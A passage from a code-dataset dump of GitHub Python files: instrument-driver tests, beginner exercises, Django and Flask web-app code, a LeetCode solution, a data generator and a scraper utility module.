NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.tcp_client.send_data(\"set brmtrace On\" + NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.tcp_client.send_data(\"set intadstp 19\" + NEWLINE)\n        self.tcp_client.expect(\"SUNA>\")\n\n        self.assert_direct_access_stop_telnet()\n        self.assert_state_change(ResourceAgentState.COMMAND, ProtocolState.COMMAND, TIMEOUT)\n\n        #DA param should change back to pre-DA val\n        self.assert_get_parameter(Parameter.OPERATION_MODE, InstrumentCommandArgs.POLLED)\n        self.assert_get_parameter(Parameter.POLLED_TIMEOUT, 65535)\n        self.assert_get_parameter(Parameter.SKIP_SLEEP_AT_START, True)\n        self.assert_get_parameter(Parameter.COUNTDOWN, 15)\n        self.assert_get_parameter(Parameter.LAMP_STABIL_TIME, 5)\n        self.assert_get_parameter(Parameter.LAMP_SWITCH_OFF_TEMPERATURE, 35)\n        self.assert_get_parameter(Parameter.MESSAGE_LEVEL, \"Info\")\n        self.assert_get_parameter(Parameter.MESSAGE_FILE_SIZE, 0)\n        self.assert_get_parameter(Parameter.DATA_FILE_SIZE, 5)\n        self.assert_get_parameter(Parameter.OUTPUT_FRAME_TYPE, \"Full_ASCII\")\n        self.assert_get_parameter(Parameter.OUTPUT_DARK_FRAME, \"Output\")\n        self.assert_get_parameter(Parameter.TEMP_COMPENSATION, False)\n        self.assert_get_parameter(Parameter.FIT_WAVELENGTH_BOTH, \"217.00,240.00\")\n        self.assert_get_parameter(Parameter.CONCENTRATIONS_IN_FIT, 1)\n        self.assert_get_parameter(Parameter.BASELINE_ORDER, 1)\n        self.assert_get_parameter(Parameter.DARK_CORRECTION_METHOD, \"SpecAverage\")\n        self.assert_get_parameter(Parameter.SALINITY_FITTING, True)\n        self.assert_get_parameter(Parameter.BROMIDE_TRACING, False)\n        self.assert_get_parameter(Parameter.ABSORBANCE_CUTOFF, 1.3)\n        self.assert_get_parameter(Parameter.INTEG_TIME_ADJUSTMENT, True)\n        self.assert_get_parameter(Parameter.INTEG_TIME_FACTOR, 1)\n        self.assert_get_parameter(Parameter.INTEG_TIME_STEP, 20)\n        self.assert_get_parameter(Parameter.INTEG_TIME_MAX, 20)\n\n    def test_acquire_status(self):\n        \"\"\"\n        Verify the driver can command an acquire status from the instrument\n        \"\"\"\n        self.assert_enter_command_mode()\n        self.assert_particle_polled(DriverEvent.ACQUIRE_STATUS, self.assert_data_particle_status,\n                                    DataParticleType.SUNA_STATUS, timeout=TIMEOUT, sample_count=1)\n\n    def test_execute_test(self):\n        \"\"\"\n        Verify the instrument can perform a self test\n        \"\"\"\n        self.assert_enter_command_mode()\n        self.assert_particle_polled(DriverEvent.TEST, self.assert_data_particle, DataParticleType.SUNA_TEST,\n                                    timeout=TIMEOUT, sample_count=1)\n\n    def test_poll(self):\n        \"\"\"\n        Verify the driver can collect a sample from the COMMAND state\n        \"\"\"\n        self.assert_enter_command_mode()\n        self.assert_particle_polled(DriverEvent.ACQUIRE_SAMPLE, self.assert_data_particle_sample,\n                                    DataParticleType.SUNA_SAMPLE, timeout=TIMEOUT, sample_count=1)\n\n    def test_autosample(self):\n        \"\"\"\n        Verify the driver can start and stop autosample and verify data particle\n        \"\"\"\n        self.assert_sample_autosample(self.assert_data_particle_sample, DataParticleType.SUNA_SAMPLE)\n\n    def test_get_set_parameters(self):\n        \"\"\"\n        Verify that all parameters can be get set properly, this includes\n        ensuring that read only parameters fail on set.\n        \"\"\"\n        self.assert_enter_command_mode()\n\n        #read only params\n        self.assert_get_parameter(Parameter.POLLED_TIMEOUT, 65535)\n        self.assert_get_parameter(Parameter.SKIP_SLEEP_AT_START, True)\n        self.assert_get_parameter(Parameter.LAMP_STABIL_TIME, 5)\n        self.assert_get_parameter(Parameter.LAMP_SWITCH_OFF_TEMPERATURE, 35)\n        self.assert_get_parameter(Parameter.MESSAGE_LEVEL, \"Info\")\n        self.assert_get_parameter(Parameter.MESSAGE_FILE_SIZE, 0)\n        self.assert_get_parameter(Parameter.DATA_FILE_SIZE, 5)\n        self.assert_get_parameter(Parameter.OUTPUT_FRAME_TYPE, \"Full_ASCII\")\n        self.assert_get_parameter(Parameter.OUTPUT_DARK_FRAME, \"Output\")\n        self.assert_get_parameter(Parameter.BASELINE_ORDER, 1)\n\n        #NOTE: THESE ARE READ_ONLY PARMS WITH NO DEFAULT VALUES, THE VALUES ARE DEPENDANT ON THE INSTRUMENT BEING TESTED\n        #self.assert_get_parameter(Parameter.REF_MIN_AT_LAMP_ON, 9001)\n        #self.assert_get_parameter(Parameter.SPECTROMETER_INTEG_PERIOD, 9001)\n        #self.assert_get_parameter(Parameter.FIT_WAVELENGTH_LOW, 9002)\n        #self.assert_get_parameter(Parameter.FIT_WAVELENGTH_HIGH, 9003)\n\n        #read/write params\n        self.assert_set_parameter(Parameter.OPERATION_MODE, InstrumentCommandArgs.CONTINUOUS)\n        self.assert_set_parameter(Parameter.OPERATION_CONTROL, \"Duration\")\n        self.assert_set_parameter(Parameter.LIGHT_SAMPLES, 57)\n        self.assert_set_parameter(Parameter.DARK_SAMPLES, 3)\n        self.assert_set_parameter(Parameter.LIGHT_DURATION, 11)\n        self.assert_set_parameter(Parameter.DARK_DURATION, 6)\n        self.assert_set_parameter(Parameter.DARK_SAMPLES, 3)\n        self.assert_set_parameter(Parameter.DARK_SAMPLES, 3)\n        self.assert_set_parameter(Parameter.COUNTDOWN, 16)\n        self.assert_set_parameter(Parameter.TEMP_COMPENSATION, True)\n        self.assert_set_parameter(Parameter.FIT_WAVELENGTH_BOTH, \"218.00,241.00\")\n        self.assert_set_parameter(Parameter.CONCENTRATIONS_IN_FIT, 3)\n        self.assert_set_parameter(Parameter.DARK_CORRECTION_METHOD, \"SWAverage\")\n        self.assert_set_parameter(Parameter.SALINITY_FITTING, False)\n        self.assert_set_parameter(Parameter.BROMIDE_TRACING, True)\n        self.assert_set_parameter(Parameter.ABSORBANCE_CUTOFF, 1.4)\n        self.assert_set_parameter(Parameter.INTEG_TIME_ADJUSTMENT, False)\n        self.assert_set_parameter(Parameter.INTEG_TIME_FACTOR, 2)\n        self.assert_set_parameter(Parameter.INTEG_TIME_STEP, 19)\n        self.assert_set_parameter(Parameter.INTEG_TIME_MAX, 19)\n\n    def test_get_capabilities(self):\n        \"\"\"\n        Verify that the correct capabilities are returned from get_capabilities at various driver/agent states.\n        \"\"\"\n        ##################\n        #  Command Mode\n        ##################\n        capabilities = {\n            AgentCapabilityType.AGENT_COMMAND: self._common_agent_commands(ResourceAgentState.COMMAND),\n            AgentCapabilityType.AGENT_PARAMETER: self._common_agent_parameters(),\n            AgentCapabilityType.RESOURCE_COMMAND: [ProtocolEvent.ACQUIRE_SAMPLE,\n                                                   ProtocolEvent.ACQUIRE_STATUS,\n                                                   ProtocolEvent.START_AUTOSAMPLE,\n                                                   ProtocolEvent.GET,\n                                                   ProtocolEvent.SET,\n                                                   ProtocolEvent.TEST,\n                                                   ProtocolEvent.CLOCK_SYNC,\n                                                   ProtocolEvent.MEASURE_N,\n                                                   ProtocolEvent.MEASURE_0,\n                                                   ProtocolEvent.TIMED_N],\n            AgentCapabilityType.RESOURCE_INTERFACE: None,\n            AgentCapabilityType.RESOURCE_PARAMETER: ['a_cutoff', 'bl_order', 'brmtrace', 'countdwn', 'datfsize',\n                                                     'drkcormt', 'drkdurat', 'drksmpls', 'fitconcs', 'intadmax',\n                                                     'intadstp', 'intpradj', 'intprfac', 'lamptoff', 'lgtdurat',\n                                                     'lgtsmpls', 'msgfsize', 'msglevel', 'nmlgtspl', 'operctrl',\n                                                     'opermode', 'outdrkfr', 'outfrtyp', 'polltout', 'reflimit',\n                                                     'salinfit', 'skpsleep', 'spintper', 'stbltime', 'tempcomp',\n                                                     'tlgtsmpl', 'wfit_hgh', 'wfit_low', 'wfitboth']}\n\n        self.assert_enter_command_mode()\n        self.assert_capabilities(capabilities)\n\n        ##################\n        #  Streaming Mode\n        ##################\n        capabilities[AgentCapabilityType.AGENT_COMMAND] = self._common_agent_commands(ResourceAgentState.STREAMING)\n        capabilities[AgentCapabilityType.RESOURCE_COMMAND] = [ProtocolEvent.STOP_AUTOSAMPLE]\n\n        self.assert_start_autosample()\n        self.assert_capabilities(capabilities)\n        self.assert_stop_autosample()\n\n        ##################\n        #  DA Mode\n        ##################\n        capabilities[AgentCapabilityType.AGENT_COMMAND] = self._common_agent_commands(ResourceAgentState.DIRECT_ACCESS)\n        capabilities[AgentCapabilityType.RESOURCE_COMMAND] = []\n\n        self.assert_direct_access_start_telnet()\n        self.assert_capabilities(capabilities)\n        self.assert_direct_access_stop_telnet()\n\n        #######################\n        #  Uninitialized Mode\n        #######################\n        capabilities[AgentCapabilityType.AGENT_COMMAND] = self._common_agent_commands(ResourceAgentState.UNINITIALIZED)\n        capabilities[AgentCapabilityType.RESOURCE_COMMAND] = []\n        capabilities[AgentCapabilityType.RESOURCE_INTERFACE] = []\n        capabilities[AgentCapabilityType.RESOURCE_PARAMETER] = []\n\n        self.assert_reset()\n        self.assert_capabilities(capabilities)\n","repo_name":"ooici/marine-integrations","sub_path":"mi/instrument/satlantic/suna_deep/ooicore/test/test_driver.py","file_name":"test_driver.py","file_ext":"py","file_size_in_byte":55492,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"}
{"seq_id":"74248490701","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nExercise 5: Write a program which prompts the user for a Celsius temperature, \nconvert the temperature to Fahrenheit, and print out the converted temperature.\n\nSeverance, Charles. Python for Everybody: Exploring Data in Python 3 (Kindle \nLocations 575-576). Kindle Edition. \n\"\"\"\n\ncelcius = float(input(\"Enter the temperature in celcius: \"))\nfarenheit = round(celcius * 1.8 + 32, 2)\nprint(\"The temperature in Farenheit is: \", farenheit)","repo_name":"daveswork/pythonforeverybody","sub_path":"chapter-02/excercise-05.py","file_name":"excercise-05.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9035431472","text":"from django.shortcuts import render, HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import JsonResponse\nfrom colour import Color\nimport pyrebase\nimport random\n\nCONFIG  = {\n\t'databaseURL': 'https://r-place-project.firebaseio.com'\n}\n\nDATABASE_SIZE = 100\n\nFIREBASE = pyrebase.initialize_app(CONFIG)\n\nDB = FIREBASE.database()\n\nCOLORS = {\n    'black',\n    'navy',\n    'blue',\n    'lightskyblue',\n    'teal',\n    'steelblue',\n    'green',\n    'yellowgreen',\n    'maroon',\n    'red',\n    'tomato',\n    'whitesmoke',\n    'white',\n    'yellow',\n    'orange',\n    'gray',\n    'purple',\n    'slateblue',\n    'pink',\n    'darksalmon',\n    'tan',\n    'brown'\n}\n\ndef createResponse(error, message):\n    return {\n        'error': error,\n        'msg': message\n    }\n\ndef initializeDB():\n    \"\"\"\n    Run when resetting database values.\n    \"\"\"\n    #clears DB \n    # DB.child('grid').remove() \n    for row in range(0, DATABASE_SIZE):\n    \tfor col in range(0, DATABASE_SIZE):\n    \t\tDB.child('grid').child(row).child(col).set(random.choice(tuple(COLORS)))\n    pass\n\ndef createBaseInputPage(request):\n    return render(request, 'add_stuff.html')\n\n\n@csrf_exempt\ndef home(request):\n    return render(request, 'r-place.html')\n\ndef checkColor(color):\n    try:\n        color = color.replace(' ', '')\n        Color(color)\n        return True\n\n    except ValueError as e:\n        print(str(e)) \n        return False\n\n@csrf_exempt\ndef updatePixelColor(request):\n    \"\"\"\n    request: (request object)\n            {\n                'x' : int <SIZE & >=0, \n                'y' : int <SIZE & >=0, \n                'color' : string containing a CSS color style\n            }\n    \"\"\"\n\n    print('REQUEST: ', request)\n    if not request.POST or not request.POST:\n        print()\n\n    try:\n        x = int(request.POST.get('x'))\n        y = int(request.POST.get('y'))\n    except ValueError as e:\n        print(str(e))\n        return JsonResponse(createResponse(\n                True,\n                'Invalid value selected.'\n        ))\n\n    color = request.POST.get('color')\n\n    response = None\n    if x < DATABASE_SIZE and x >= 0 \\\n            and y < DATABASE_SIZE and y >= 0 \\\n                            and checkColor(color):\n        \n        DB.child('grid').child(x).child(y).set(color)\n        response = createResponse(\n            False,\n            None\n        )\n    else:\n        response = createResponse(True, 'Invalid value selected.')\n\n    return JsonResponse(response)\n","repo_name":"zjaved101/Dropbox-Prototype","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"1215978079","text":"import turtle\nimport numpy as np\nimport math\nimport draw_grid as dg\nfrom utils import *\n\n# 0: empty cell\n# 1: pedestrian\n# 2: obstacle\n# 3: target\n\n# remove: 1-remove cell after reach target / 0-don't remove\n\n# dijk: 1-Dijkstra algorithm / 0-Distances matrix\n\nn = 100\n\n#turtle.setup(800,1200)\ntask5_1 = Cellular(n, method='euclidean', pedestrian=[], dijk=1)\n\n#task5_1.set_grid(1)\ntask5_1.set_pedestrian(1, 50, age = 20)\ntask5_1.set_target(100, 50)\n\nfor i in range(1,101):\n    task5_1.set_obstacle(i, 47)\n    task5_1.set_obstacle(i, 53)\n\n\n#%matplotlib notebook\n\n\ntask5_1.set_board()\n\nmy_board = np.transpose(task5_1.grid)\nfig = plt.gcf()\nim = plt.imshow(my_board)\n\n\ndef animate(frame):\n    im.set_data(task5_1.update_board())\n    return im,\n\nanim = animation.FuncAnimation(fig, animate, frames=500, \n                               interval=333)\nplt.show()\n\nprint(\"total time: \" ,round(task5_1.total_iterations/3, 3))","repo_name":"JWatter/CellularAutomaton","sub_path":"task5_1.py","file_name":"task5_1.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9837124026","text":"from sqlalchemy import Table, func\n\nfrom common.database import dbconnect\nfrom module.user import User\n\ndbsession, md, DBase = dbconnect()\n\n\nclass Article(DBase):\n    __table__ = Table('article', md, autoload=True)\n\n    # 查询所有文章\n    def find_all(self):\n        result = dbsession.query(Article).all()\n\n    # 根据id查询文章\n    def find_by_id(self, articleid):\n        row = dbsession.query(Article, User.nickname).join(User, User.userid == Article.userid) \\\n            .filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1,\n                    Article.articleid == articleid).first()\n        return row\n\n    # 指定分页的limit和offset，同时与用户表做连接查询\n    def find_limit_with_user(self, start, count):\n        result = dbsession.query(Article, User.nickname).join(User, User.userid == Article.userid) \\\n            .filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1) \\\n            .order_by(Article.articleid.desc()).limit(count).offset(start).all()\n        return result\n\n    # 统计当前文章的总数量\n    def get_total_count(self):\n        # 过滤掉隐藏的文章、草稿篇、未审核通过的文章\n        count = dbsession.query(Article).filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1).count()\n        return count\n\n    # 根据文章类型获取文章\n    def find_by_type(self, type, start, count):\n        result = dbsession.query(Article, User.nickname).join(User, User.userid == Article.userid) \\\n            .filter(Article.hidden == 0, Article.drafted == 0,\n                    Article.checked == 1, Article.type == type).order_by(\n            Article.articleid.desc()).limit(count).offset(start).all()\n        return result\n\n    # 根据文章类型统计当前文章的总数量\n    def get_count_by_type(self, type):\n        # 过滤掉隐藏的文章、草稿篇、未审核通过的文章\n        count = dbsession.query(Article).filter(Article.hidden == 0, Article.drafted == 0,\n                                                Article.checked == 1, Article.type == type).count()\n        return count\n\n    # 根据文章标题进行模糊匹配，筛选文章\n    def find_by_headline(self, headline, start, count):\n        result = dbsession.query(Article, User.nickname).join(User, User.userid == Article.userid) \\\n            .filter(Article.hidden == 0, Article.drafted == 0,\n                    Article.checked == 1, Article.headline.like('%' + headline + '%')) \\\n            .order_by(Article.articleid.desc()).limit(count).offset(start).all()\n        return result\n\n    # 统计分页总数量\n    def get_count_by_headline(self, headline):\n        # 过滤掉隐藏的文章、草稿篇、未审核通过的文章\n        count = dbsession.query(Article).filter(Article.hidden == 0, Article.drafted == 0,\n                                                Article.checked == 1,\n                                                Article.headline.like('%' + headline + '%')).count()\n        return count\n\n    # 最新文章[(id,headline),(id,headline)]\n    def find_last_9(self):\n        result = dbsession.query(Article.articleid, Article.headline) \\\n            .filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1) \\\n            .order_by(Article.articleid.desc()).limit(9).all()\n        return result\n\n    # 最多阅读\n    def find_most_9(self):\n        result = dbsession.query(Article.articleid, Article.headline) \\\n            .filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1) \\\n            .order_by(Article.readcount.desc()).limit(9).all()\n        return result\n\n    # 特别推荐,如果超过9篇，可以考虑 order by rand() 随机显示9篇\n    def find_recommended_9(self):\n        result = dbsession.query(Article.articleid, Article.headline) \\\n            .filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1, Article.recommended == 1) \\\n            .order_by(func.rand()).limit(9).all()\n        return result\n\n    # 一次性返回三个推荐数据\n    def find_most_recommended(self):\n        last = self.find_last_9()\n        most = self.find_most_9()\n        recommended = self.find_recommended_9()\n        return last, most, recommended\n\n    # 每阅读一次，文章阅读次数加一\n    def update_read_count(self, articleid):\n        article = dbsession.query(Article).filter_by(articleid=articleid).first()\n        article.readcount += 1\n        dbsession.commit()\n\n    # 根据文章编号查询文章标题\n    def find_headline_by_id(self, articleid):\n        row = dbsession.query(Article.headline).filter_by(articleid=articleid).first()\n        return row.headline\n\n    # 获取当前文章的上一篇和下一篇\n    def find_prev_next_by_id(self, articleid):\n        dict = {}\n\n        # 查询比当前文章id小的当中最大的一个\n        row = dbsession.query(Article).filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1,\n                                              Article.articleid < articleid).order_by(Article.articleid.desc()).limit(\n            1).first()\n        # 如果当前文章已经是第一篇，上一篇也是当前文章\n        if row is None:\n            prev_id = articleid\n        else:\n            prev_id = row.articleid\n        dict['prev_id'] = prev_id\n        dict['prev_headline'] = self.find_headline_by_id(prev_id)\n        # 查询比当前文章id大的当中最小的一个\n        row = dbsession.query(Article).filter(Article.hidden == 0, Article.drafted == 0, Article.checked == 1,\n                                              Article.articleid > articleid).order_by(Article.articleid).limit(\n            1).first()\n        if row is None:\n            next_id = articleid\n        else:\n            next_id = row.articleid\n        dict['next_id'] = next_id\n        dict['next_headline'] = self.find_headline_by_id(next_id)\n        return dict\n\n    # 当发表或回复评论后，为文章表字段replycount加1\n    def update_replycount(self, articleid):\n        row = dbsession.query(Article).filter_by(articleid=articleid).first()\n        row.replycount += 1\n        dbsession.commit()\n","repo_name":"YinWC/FlaskBlog","sub_path":"module/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":6193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"9536080744","text":"from zipfile import ZipFile\nimport sys\n\n# Name of zip file passed as a command line argument\nzipFileName = sys.argv[1]\n# Array of duplicate names\nduplicates = []\n\n# Open namelists.zip without extracting it\nwith ZipFile(zipFileName,'r') as zip:\n    # Open the first file in the zipped archive\n    with zip.open(zip.namelist()[0]) as firstFile:\n        # For each line\n        for line in firstFile:\n            # Isolate the name\n            nameOfPerson = line.decode('utf-8').strip()\n            # Not a duplicate by default\n            duplicate = False\n            # Loop through all names in the rest of the files\n            for file in zip.namelist()[1:]:\n                # Open the text file\n                with zip.open(file) as textFile:\n                    # The name is by default not a duplicate\n                    duplicate = False\n                    # For each line\n                    for line in textFile:\n                        # Isolate the name\n                        nameOfPerson2 = line.decode('utf-8').strip()\n                        # If the name is a duplicate, set to true\n                        if nameOfPerson2 == nameOfPerson:\n                            duplicate = True\n                    # If name is not a duplicate, break the loop\n                    if duplicate == False:\n                        break\n            # If duplicate is True, add the name to the duplicates array\n            if duplicate == True:\n                duplicates.append(nameOfPerson)\n            \n\n# Write duplicates to output.txt\nwith open('output.txt','w') as output:\n    for name in duplicates:\n        output.write(name + '\\n')\n            \n# Print the duplicate names\nprint(\"Duplicates:\")\nfor name in duplicates:\n    print(name)","repo_name":"reecewbourgeois/CMPS401-P6-Python","sub_path":"P6.py","file_name":"P6.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"32045817821","text":"# Definition for a binary tree node.\nfrom typing import List, Optional\nimport unittest\n\n\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n\ndef preorderTraversal(root: Optional[TreeNode]) -> List[int]:\n    output = []\n\n    def dfs(root):\n        if root:\n            output.append(root.val)\n            dfs(root.left)\n            dfs(root.right)\n\n    dfs(root)\n    return output\n\n\nclass Solution:\n    def insertIntoBST(self,\n                      root: Optional[TreeNode],\n                      val: int) -> Optional[TreeNode]:\n        if root is None:\n            return TreeNode(val)\n\n        cur, next = None, root\n        while next:\n            cur = next\n            if val < cur.val:\n                next = cur.left\n            elif val > cur.val:\n                next = cur.right\n\n        if val < cur.val:\n            cur.left = TreeNode(val)\n        else:\n            cur.right = TreeNode(val)\n\n        return root\n\n\nclass TestFunctions(unittest.TestCase):\n    def __init__(self, methodName: str = \"runTest\") -> None:\n        super().__init__(methodName)\n        self.solution = Solution()\n\n    def test_run_1(self):\n        # test case\n        root = TreeNode(\n            4,\n            left=TreeNode(2, TreeNode(1), TreeNode(3)),\n            right=TreeNode(7),\n        )\n        val = 5\n        expect = [4, 2, 1, 3, 7, 5]\n        self.assertEqual(\n            str(preorderTraversal(self.solution.insertIntoBST(root, val))),\n            str(expect),\n            \"incorrect, expect is \" + str(expect))\n\n\nif __name__ == \"__main__\":\n    suite = unittest.TestLoader().loadTestsFromTestCase(TestFunctions)\n    testResult = unittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"mrneodiablo/leetcode","sub_path":"problem/data_structure/level_1/day_13/701_Insert_into_a_Binary_Search_Tree.py","file_name":"701_Insert_into_a_Binary_Search_Tree.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"69849561743","text":"import csv\nimport os\nimport json, time\nfrom random import seed\nfrom random import gauss\nfrom random import random\nfrom random import randint\nfrom datetime import datetime\nimport pandas as pd\n\ndef file_path_info():\n    dir_path = os.getcwd()\n    dir_path = dir_path+\"/templates/static/json_files/\"\n    filename_json = dir_path+\"json_column_2.json\"\n    filename_csv = dir_path+\"csv_column_2.csv\"\n\n    return dir_path, filename_json, filename_csv\n\n\ndef create_data_point():\n    # seed random number generator\n    seed(datetime.now())\n    # list to store data\n    key_point = []\n    my_list_1 = []\n    my_list_2 = []\n\n    max_range = 50\n    # generate some Gaussian values\n    for _ in range(max_range):\n        value = gauss(0,1)\n        my_list_1.append(value)\n        key_point.append(_)\n\n\n    for _ in range(max_range):\n        value = random()\n        my_list_2.append(value)\n    \n    return max_range, my_list_1, my_list_2, key_point\n\ndef create_int_data_point(n):\n    x = []\n    y = []\n    for _ in range(n):\n        x.append(randint(0, 11))\n        y.append(randint(0, 11))\n\n    return x, y\n\n\n# following function in future will be used maybe\ndef check_if_string_in_file(file_name, string_to_search):\n    \"\"\" Check if any line in the file contains given string \"\"\"\n    # Open the file in read only mode\n    with open(file_name, 'r') as read_obj:\n        # Read all lines in the file one by one\n        for line in read_obj:\n            # For each line, check if line contains the string\n            if string_to_search in line:\n                return True\n    return False\n\ndef make_file(filename):\n    with open(filename,'a', newline='') as file:\n        print(\"file_creation function is called\")\n    file.close()\n\ndef make_row(filename):\n    # row_list = [[\"unit\", \"value1\", \"value2\"]]\n    row_list = [[\"x\", \"y\", \"z\"]]\n    with open(filename,'a', newline='') as file:\n        writer = csv.writer(file)\n        writer.writerows(row_list)\n    file.close()\n\ndef fill_data(filename):\n    max_range, my_list_1, my_list_2, key_point = create_data_point()\n    i = 0\n    while(max_range>i):\n        row_list = [[i, my_list_1[i], my_list_2[i]]]\n        with open(filename, 'a', newline='') as file:\n            writer = csv.writer(file)\n            writer.writerows(row_list)\n        i = i+1\n    file.close()\n\n\ndef do_process():\n    dir_path = os.getcwd()\n    dir_path = dir_path+\"/templates/static/json_files/\"\n    filename = dir_path+\"csv_column_2.csv\"\n    # check file is already here or ot. If yes then firstly removed and created a blank file\n    if not os.path.isfile(filename):\n        print(\"file is not here\")\n        make_file(filename)\n        make_row(filename)\n        fill_data(filename)\n    else:\n        print(\"file already exists\")\n        os.remove(filename)\n        print(\"file removed\")\n        make_file(filename)\n        make_row(filename)\n        fill_data(filename)\n\ndef create_json():\n    dir_path_json = os.getcwd()\n    dir_path_json = dir_path_json+\"/templates/static/json_files/\"\n    filename_json = dir_path_json+\"json_column_2.json\"\n    max_range, list_1, list_2, key_point = create_data_point()\n    key_point = [element * 3 for element in key_point]\n    key_point_1 = [int(element*2) for element in key_point]\n    # print(key_point)\n    \n    # lists = ['key_point','list_1', 'list_2']\n    \n    # a new list is made from the former two to create JSON file\n    new_list_1 = [{'x': x, 'y1': y1, 'y2': y2} for x, y1, y2 in zip(key_point, list_1, list_2)]\n    new_list_2 = [{'x1': x1, 'x2': x2, 'y1': y1, 'y2': y2} for x1, x2, y1, y2 in zip(key_point, key_point_1, list_1, list_2)]\n    \n\n    # heat_map_parent_list_xy = create_int_data_point(100) # this one only for plotly JS(2D histogram)\n    heat_map_parent_list_xy = [{'i': y1, 'q': y2} for y1, y2 in zip(*create_int_data_point(10))]\n\n    heat_map_child_list = make_heat_map_matrix(heat_map_parent_list_xy)\n\n    # if not os.path.isfile(filename_json):\n    # \tprint(\"---------- hey json ------------- \")\n    # \twith open(filename_json, 'w') as outfile:\n    # \t\tjson.dump(new_list, outfile, indent=4)\n    # else:\n    # \tos.remove(filename_json)\n    # \tprint(\"-------- json removed----------\")\n    # \twith open(filename_json, 'w') as outfile:\n    # \t\tjson.dump(new_list, outfile, indent=4)\n    # print(\"new_list_1: \", new_list_2)\n    new_list = [new_list_1, new_list_2, heat_map_parent_list_xy]\n    return new_list\n\ndef make_heat_map_matrix(sample_list):\n    key_count_map={'i_{}:q_{}'.format(x, y):0 for x in range(65) for y in range(65)}\n\n    for item in sample_list:\n        key = 'i_{}:q_{}'.format(item['i'], item['q'])\n        key_count_map[key] = key_count_map[key] + 1\n\n\n    result = [{'x': float(key.rsplit(':')[0].rsplit('_')[1]), 'y': \n    float(key.rsplit(':')[1].rsplit('_')[1]), 'heat': value} for key, value in \n    key_count_map.items()]\n\n    return result\n\ndef load_json_1():\n    json_var = create_json()\n    return json_var\n\ndef load_json():\n    dir_path_json = os.getcwd()\n    dir_path_json = dir_path_json+\"/templates/static/json_files/\"\n    filename_json = dir_path_json+\"json_column_2.json\"\n    f = open(filename_json)\n    data = json.load(f)\n    return data\n\n# goal of the following function is to convert csv data to json. but it changes the data type\ndef load_csv():\n    dir_path, filename_json, filename_csv = file_path_info()\n    dir_path_json = dir_path+\"new_json.json\"\n    df = pd.read_csv(filename_csv)\n    df.to_json(dir_path_json)\n    # dir_path_new_json = dir_path+\"new_json.json\"\n    # json_data = [json.dumps(d) for d in csv.DictReader(open(filename_csv))]\n    # return json_data\n    \n    f = open(dir_path_json)\n    data = json.load(f)\n    # print(data)\n    return data\n\ndef load_table():\n    dir_path_json = os.getcwd()\n    dir_path_json = dir_path_json+\"/templates/static/json_files/\"\n    filename_json = dir_path_json+\"table.json\"\n    f = open(filename_json)\n    data = json.load(f)\n    return data\n\n# if check_if_string_in_file(filename, 'unit'):\n#     print(\"file already here\")\n#     fill_data()\n# else:\n#     print(\"1st time here\")\n#     make_row()\n#     fill_data()","repo_name":"atifkarim/visualization_machine_data","sub_path":"dummy_data.py","file_name":"dummy_data.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26476409623","text":"from gscraper.base.types import _KT, _VT, _PASS, _BOOL, _TYPE, Comparable, Context, TypeHint\r\nfrom gscraper.base.types import Index, IndexLabel, Keyword, Unit, IndexedSequence, RenameMap\r\nfrom gscraper.base.types import Records, MappingData, TabularData, Data, PandasData, HtmlData, ResponseData\r\nfrom gscraper.base.types import ApplyFunction, MatchFunction, BetweenRange, RegexFormat, PANDAS_DATA\r\nfrom gscraper.base.types import is_bool_array, is_int_array, is_array, is_2darray, is_records, is_dfarray, is_tag_array\r\nfrom gscraper.base.types import init_origin, is_list_type, is_dict_type, is_records_type, is_dataframe_type\r\nfrom gscraper.base.types import is_comparable, is_kwargs_allowed\r\n\r\nfrom gscraper.utils import isna, notna, empty, exists\r\nfrom gscraper.utils.cast import cast_str, cast_list, cast_tuple, cast_set\r\n\r\nfrom typing import Any, Callable, Dict, List, Set\r\nfrom typing import Iterable, Literal, Optional, Sequence, Tuple, Union\r\nfrom bs4 import BeautifulSoup, Tag\r\nfrom pandas.core.indexes.base import Index as PandasIndex\r\nimport pandas as pd\r\n\r\nfrom collections import defaultdict\r\nfrom itertools import chain\r\nimport functools\r\nimport random as rand\r\nimport re\r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module='bs4')\r\n\r\n\r\nBETWEEN_RANGE_TYPE_MSG = \"Between condition must be an iterable or a dictionary.\"\r\nINVALID_ISIN_MSG = \"Isin function requires at least one parameter: exact, include, and exclude.\"\r\nSOURCE_SEQUENCE_TYPE_MSG = \"Required array of HTML source as input.\"\r\nLENGTH_MISMATCH_MSG = lambda left, right: f\"Length of two input values are mismatched: [{left}, {right}]\"\r\n\r\n\r\ndef arg_or(*args: bool) -> bool:\r\n    if not args: return False\r\n    else: return functools.reduce(lambda x,y: x|y, 